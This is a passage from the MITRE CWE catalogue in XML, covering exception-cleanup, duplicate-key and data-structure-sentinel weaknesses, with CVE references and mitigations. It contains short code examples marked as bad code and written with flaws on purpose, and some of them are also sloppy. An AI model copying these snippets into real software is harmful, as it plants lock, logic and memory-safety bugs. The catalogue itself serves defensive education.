					          <Observed_Example_Reference>CVE-2001-0693</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0778</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1248</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0280</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2213</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0622</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1656</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1603</Observed_Example_Reference>
					          <Observed_Example_Description>Source disclosure via trailing encoded space
						"%20"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0054</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-Factor Vulnerability (MVF). directory
						traversal and other issues in FTP server using Web encodings such as "%20";
						certain manipulations have unusual side
						effects.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1451</Observed_Example_Reference>
					          <Observed_Example_Description>Trailing space ("+" in query string) leads to
						source code disclosure.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Trailing Space - 'filedir '</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Trailing Space -
						'filedir '</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="460" Name="Improper Cleanup on Thrown Exception" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not clean up its state or incorrectly cleans
					up its state when an exception is thrown, leading to unexpected state or control
					flow.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>459</Relationship_Target_ID>
					          <!--Incomplete Cleanup-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>755</Relationship_Target_ID>
					          <!--Improper Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>452</Relationship_Target_ID>
					          <!--Initialization and Cleanup Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Often, when functions or loops become complicated, some level of cleanup
						in the beginning to the end is needed. Often, since exceptions can disturb
						the flow of the code, one can leave a code block in a bad state.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The code could be left in a bad state.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If one breaks from a loop or function by throwing an exception, make
							sure that cleanup happens or that you should exit the program. Use
							throwing exceptions sparsely.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class foo {</Code>
							              <Block>
								                <Code>public static final void main( String args[] ) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>boolean returnValue;</Code>
									                  <Code>returnValue=doStuff();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public static final boolean doStuff( ) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>boolean threadLock;</Code>
									                  <Code>boolean truthvalue=true;</Code>
									                  <Code>try {</Code>
									                  <Block>
										                    <Code/>
										                    <Code>while(</Code>
										                    <Comment>//check some condition</Comment>
										                    <Code>) {</Code>
										                    <Block>
											                      <Code/>
											                      <Code>threadLock=true; //do some stuff to
												truthvalue</Code>
											                      <Code>threadLock=false;</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>catch (Exception e){</Code>
									                  <Block>
										                    <Code/>
										                    <Code>System.err.println("You did something bad");</Code>
										                    <Code>if (something) return truthvalue;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>return truthvalue;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In this case, you may leave a thread locked accidentally.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Improper cleanup on thrown exception</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Restore prior object state on method
						failure</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not let checked exceptions escape from a finally
						block</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee exception safety</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="462" Name="Duplicate Key in Associative List (Alist)" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Duplicate keys in associative lists can lead to non-unique keys
					being mistaken for an error.</Description_Summary>
				        <Extended_Description>
					          <Text> A duplicate key entry -- if the alist is designed properly -- could be
						used as a constant time replace function. However, duplicate key entries
						could be inserted by mistake. Because of this ambiguity, duplicate key
						entries in an association list are not recommended and should not be
						allowed. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>461</Relationship_Target_ID>
					          <!--Data Structure Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>694</Relationship_Target_ID>
					          <!--Use of Multiple Resources with Duplicate Identifier-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a hash table instead of an alist.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an alist which checks the uniqueness of hash keys with each entry
							before inserting the entry.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code adds data to a list and then attempts to sort the
						data.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>Python</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>alist = [] </Code>
							              <Code>while (foo()): #now assume there is a string data with a key
								basename </Code>
							              <Block>
								                <Code>queue.append(basename,data)</Code>
								                <Code>queue.sort()</Code>
							              </Block>
						            </Block>
						            <Text> Since basename is not necessarily unique, this may not sort how one
							would like it to be.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Duplicate key in associative list (alist)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Beware of multiple environment variables with the same
						effective name</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Beware of multiple environment variables with the same
						effective name</Mapped_Node_Name>
					          <Mapped_Node_ID>ENV02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="463" Name="Deletion of Data Structure Sentinel" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The accidental deletion of a data-structure sentinel can cause
					serious programming logic problems.</Description_Summary>
				        <Extended_Description>
					          <Text> Often times data-structure sentinels are used to mark structure of the
						data structure. A common example of this is the null character at the end of
						strings. Another common example is linked lists which may contain a sentinel
						to mark the end of the list. It is dangerous to allow this type of control
						data to be easily accessible. Therefore, it is important to protect from the
						deletion or modification outside of some wrapper interface which provides
						safety. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>461</Relationship_Target_ID>
					          <!--Data Structure Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>464</Relationship_Target_ID>
					          <!--Addition of Data Structure Sentinel-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Generally this error will cause the data structure to not work
							properly.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Authorization</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a control character, such as NULL is removed, one may cause
							resource access control problems.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an abstraction library to abstract away risky APIs. Not a complete
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-10">
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run or compile the software using features or extensions that
							automatically provide a protection mechanism that mitigates or
							eliminates buffer overflows.</Text>
						            <Text>For example, certain compilers and extensions provide automatic buffer
							overflow detection mechanisms that are built into the compiled code.
							Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat
							FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not necessarily a complete solution, since these mechanisms
							can only detect certain types of overflows. In addition, an attack could
							still cause a denial of service, since the typical response is to exit
							the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use OS-level preventative functionality. Not a complete
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example creates a null terminated string and prints it
						contents.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>char *foo;</Code>
							              <Code>int counter;</Code>
							              <Code>foo=calloc(sizeof(char)*10);</Code>
							              <Code/>
							              <Code>for (counter=0;counter!=10;counter++) {</Code>
							              <Block>
								                <Code>foo[counter]='a';</Code>
							              </Block>
							              <Code>printf("%s\n",foo);</Code>
							              <Code>}</Code>
						            </Block>
						            <Text>The string foo has space for 9 characters and a null terminator, but
							10 characters are written to it. As a result, the string foo is not null
							terminated and calling printf() on it will have unpredictable and
							possibly dangerous results.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 8, "NUL-Termination Problems", Page
						452.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Deletion of data-structure sentinel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Deletion of Data-structure
						Sentinel</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="464" Name="Addition of Data Structure Sentinel" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The accidental addition of a data-structure sentinel can cause
					serious programming logic problems.</Description_Summary>
				        <Extended_Description>
					          <Text>Data-structure sentinels are often used to mark the structure of data. A
						common example of this is the null character at the end of strings or a
						special sentinel to mark the end of a linked list. It is dangerous to allow
						this type of control data to be easily accessible. Therefore, it is
						important to protect from the addition or modification of sentinels.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>461</Relationship_Target_ID>
					          <!--Data Structure Issues-->
				</Relationship>
				        <Relationship>
